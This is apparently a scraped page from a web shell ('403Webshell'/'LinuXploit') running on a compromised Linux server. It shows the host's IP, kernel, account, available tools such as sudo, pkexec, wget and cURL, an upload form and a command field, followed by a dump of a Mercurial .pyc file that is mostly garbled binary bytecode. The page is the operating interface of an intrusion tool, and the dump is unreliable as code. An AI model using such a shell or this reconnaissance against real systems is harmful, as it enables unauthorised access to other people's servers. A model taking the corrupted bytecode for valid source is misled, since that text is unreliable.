403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/progress.cpython-39.opt-1.pyc
a

�+�b�+�@spddlmZddlZddlZddlZddlmZddlmZdd�Z	dd	�Z
d
d�Zdd
�ZGdd�de
�ZdS)�)�absolute_importN���_)�encodingcGsd�dd�|D��S)N� css|]}|r|VqdS�N�)�.0�sr	r	�8/usr/lib64/python3.9/site-packages/mercurial/progress.py�	<genexpr>�zspacejoin.<locals>.<genexpr>)�join)�argsr	r	r�	spacejoinsrcCs*|jp|�d�o(|�|j�p(|�dd�S)N�progresss
assume-tty)�quietZplainZ_isatty�ferr�
configbool)�uir	r	r�shouldprints�rcCs|dkrtd�|S|d}|dkr@||d8}td�||fS|d7}|d}||d8}|dkrttd�||fS|d7}|d}||d8}|dkr�td	�||fS|d7}|d
}||d
8}|dkr�td�||fS|d7}|d
}||d
8}td�||fS)z�format a number of remaining seconds in human readable way

    This will properly display seconds, minutes, hours, days if needed�<s%02dss%dm%02dsr�s%dh%02dm��s%dd%02dh��7s%dw%02dd�4s%dy%02dwr)�secondsZminutesZhoursZdaysZweeksZyearsr	r	r�fmtremainings2r c
GsPz
||�WStyH}z&|jtjkr2WYd}~q�WYd}~qd}~00qdSr)�IOError�errnoZEINTR)�funcr�errr	r	r�_eintrretryNs
r%c@s~eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zddd�Zdd�ZdS) �progbarcCs||_t��|_|��dSr)r�	threading�Lock�_refreshlock�
resetstate)�selfrr	r	r�__init__Ys
zprogbar.__init__cCs�g|_i|_i|_i|_d|_t��t|j�dd��|_	d|_
d|_d|_t|j�dd��|_
td|j
t|j�dd���|_|j�dd�|_|j�tdd	�|_dS)
NFrsdelayrsrefresh�schangedelaysformatsestimateinterval)�topics�topicstates�
starttimes�	startvals�printed�time�floatr�config�	lastprint�curtopic�	lasttopic�
indetcount�refresh�max�changedelayZ
configlist�orderZ
configwith�estimateinterval�r+r	r	rr*^s&���zprogbar.resetstatecCs�t|j�sdS|��}d|_d}d}	d}
|jD�]V}d}|dkrH|}�n"|dkrv|rldtt|��||f}nd|}n�|�d��r
|�r
d	}
d
|vr�t|�	d
�d�}n$d|vr�d
}
t|�	d�d�}nd}|
d	kr�t
j||dd�}nt
�||�}||t
�|�d7}n`|dk�rd}d}	nL|dk�r4|�r4|}n6|dk�rP|�
||||�}n|dk�rj|�||||�}|	�s|t||�}q.t|
|�}
q.|	�r�d}|�r�|t
�|�d7}|
�r�|t
�|
�d7}||d}|�r||k�r|||}d|d}|dk�r|d7}|d||7}nT|d8}|jd7_|jd|}||8}dt|t|��ddtt|��}d�d|df�}t|||
�}n
t||
�}|�dt
�||��||_|��dS)NTrFstopicsnumbers%*d/%ds%dsitemsend�-r�+s	beginning�)Zleftsidersbarsunitsestimatesspeedrr-�=�>�s<=>�[�]�
)rr�widthr2r=�len�str�
startswith�int�splitrZtrimZcolwidth�estimate�speedrr9�absr�	_writeerrr8�	_flusherr)r+�now�topic�pos�item�unit�total�	termwidth�headZneedprogress�tailZ	indicator�add�sliceZwid�usedZ	progwidthZamtZbar�prog�outr	r	r�showss�





���
zprogbar.showcCsH|jr|jrt|j�sdS|�dd|���|��|jrDd|_dS)Ns
%s
rr)r2r6rrrRrIrSr?r	r	r�clear�sz
progbar.clearcCs<t|j�sdS|j�dd�r&|��n
|�d�|��dS)Nrsclear-complete�
)rrrrcrRrSr?r	r	r�complete�s


zprogbar.completecCst|jjj�dSr)r%rr�flushr?r	r	rrS�szprogbar._flusherrcCst|jjj|�dSr)r%rr�write)r+�msgr	r	rrR�szprogbar._writeerrcCs&|j��}tt|jjdd|d��|�S)Nrswidth)�default)rrZ�minrMr5)r+Ztwr	r	rrI�s
z
progbar.widthc
Cs\|durdS|j|}||}||}|dkrX||j|}||||d}	t|	�SdS)Nrrr)r1r0r )
r+rUrVrYrT�
initialpos�target�delta�elapsedrr	r	rrO�s
zprogbar.estimatecCs@|j|}||}||j|}|dkr<td�|||fSdS)Nrs	%d %s/secr)r1r0r)r+rUrVrXrTrkrmrnr	r	rrP�s
z
progbar.speedcCs2|jdus&|j|jks&||j|jkr*dSdSdS)z?Check if conditions are met to print - e.g. changedelay elapsedNTF)r8r7r6r<)r+rTr	r	r�
_oktoprint�s�
��zprogbar._oktoprintcCsn|j}|dkrdS||j|}||krj||j|}|||}|dkrNdS|||j|<|||j|<dS)a�Adjust starttimes and startvals for topic so ETA works better

        If progress is non-linear (ex. get much slower in the last minute),
        it's more friendly to only use a recent time span for ETA and speed
        calculation.

            [======================================>       ]
                                             ^^^^^^^
                           estimateinterval, only use this for estimation
        rNg�������?)r>r0r1)r+rUrTrV�intervalrnrmZnewdeltar	r	r�_calibrateestimate�szprogbar._calibrateestimaterNcCs�|dur|�|�dSt��}|j��||jvrP||j|<||j|<|j�|�||||f|j|<||_|�	|||�||j
|jkr�|jr�|�|�r�||_
|j
||g|j|�R�Wd�n1s�0YdSr)�
closetopicr3r)r.r0r1�appendr/r7rqr6r:rorb)r+rUrVrWrXrYrTr	r	r�progresss 




zprogbar.progresscCs�|j��|j�|d�|j�|d�|j�|d�|jr\|jd|kr\|jr\|��|��||jvr�|jd|j�	|��|_|jr�|jd|_
nd|_
Wd�n1s�0YdS)Nr���)r)r0�popr1r/r.r2rer*�indexr8)r+rUr	r	rrr)s
zprogbar.closetopic)rrN)�__name__�
__module__�__qualname__r,r*rbrcrerSrRrIrOrProrqrtrrr	r	r	rr&XsM		

r&)Z
__future__rr"r'r3Zi18nr�rrrr r%�objectr&r	r	r	r�<module>s2

Youez - 2016 - github.com/yon3zu
LinuXploit